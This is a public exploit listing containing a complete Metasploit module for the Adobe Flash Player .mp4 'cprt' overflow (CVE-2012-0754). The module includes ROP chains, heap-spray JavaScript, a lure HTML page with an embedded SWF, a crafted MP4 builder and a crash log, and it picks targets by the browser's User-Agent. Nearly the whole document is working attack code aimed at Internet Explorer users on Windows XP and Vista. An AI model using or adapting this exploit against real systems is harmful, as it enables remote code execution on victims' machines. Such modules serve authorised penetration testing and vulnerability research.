what you don't know can hurt you

Adobe Flash Player .mp4 'cprt' Overflow

Adobe Flash Player .mp4 'cprt' Overflow
Posted Mar 8, 2012
Authored by sinn3r, Alexander Gavrun, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the "Iran's Oil and Nuclear Situation.doc" phishing campaign.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2012-0754, OSVDB-79300
MD5 | 2626d08c17b93cf4cd5a93c330ea5ab0

Adobe Flash Player .mp4 'cprt' Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player .mp4 'cprt' Overflow",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash Player.
By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
remote code exeuction under the context of the user.

This vulnerability has been exploited in the wild as part of the
"Iran's Oil and Nuclear Situation.doc" phishing campaign.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0754' ],
[ 'OSVDB', '79300'],
[ 'BID', '52034' ],
[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Flash Player 11.1.102.55
# Flash Player 10.3.183.10
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 15 2012",
'DefaultTarget' => 0))
end

def junk(n=4)
return rand_text_alpha(n).unpack("L")[0].to_i
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

def get_payload(t)

if ['Rop'].nil?
code = ""
else
code = "\xbc\x0c\x0c\x0c\x0c" #Fix the stack to avoid a busted encoder
end
code << payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00000800, # <- change size to mark as executable if needed (-> ebx)
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")

when :jre
print_status("Using JRE ROP")
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end

pivot = [0x77C1CAFB].pack('V*') #POP/POP/RET
pivot << [0x41414141].pack('V*')
pivot << [t.ret].pack('V*')

code = pivot + rop + code
return code
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[5] #IE 7 on Windows Vista
else
return nil
end
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
send_not_found(cli)
return
end

print_status("Client requesting: #{request.uri}")

# The SWF requests our MP4 trigger
if request.uri =~ /\.mp4$/
print_status("Sending MP4 to #{cli.peerhost}:#{cli.peerport}...")
mp4 = create_mp4(my_target)
send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
return
end

if request.uri =~ /\.swf$/
print_status("Sending Exploit SWF")
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end

p = get_payload(my_target)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
heap_obj.debug(true);
for (var i=1; i < 0x1C2; i++) {
heap_obj.alloc(block);
}
heap_obj.debug(true);
JS

js_pivot = heaplib(js_pivot, {:noobfu => true})

swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
swf_uri << "/Exploit.swf"
print_status(swf_uri)

html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>

</object>
</center>

</body>
</html>
|

html = html.gsub(/^\t\t/, '')

#
# "/test.mp4" is currently hard-coded in the swf file, so we ned to add to resource
#
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end

add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def exploit
@swf = create_swf
super
end

def create_swf
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
fd = File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close

return swf
end

def create_mp4(target)
mp4 = ""
mp4 << "\x00\x00\x00\x18"
mp4 << "ftypmp42"
mp4 << "\x00\x00\x00\x00"
mp4 << "mp42isom"
mp4 << "\x00\x00\x00\x0D"
mp4 << "cprt"
mp4 << "\x00\xFF\xFF\xFF"
mp4 << "\x00\x00\x00\x00"
mp4 << "\x0c\x0c\x0c\x0c" * 2586

return mp4
end

end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx

(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
Flash10x+0x48b65:
10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
=end

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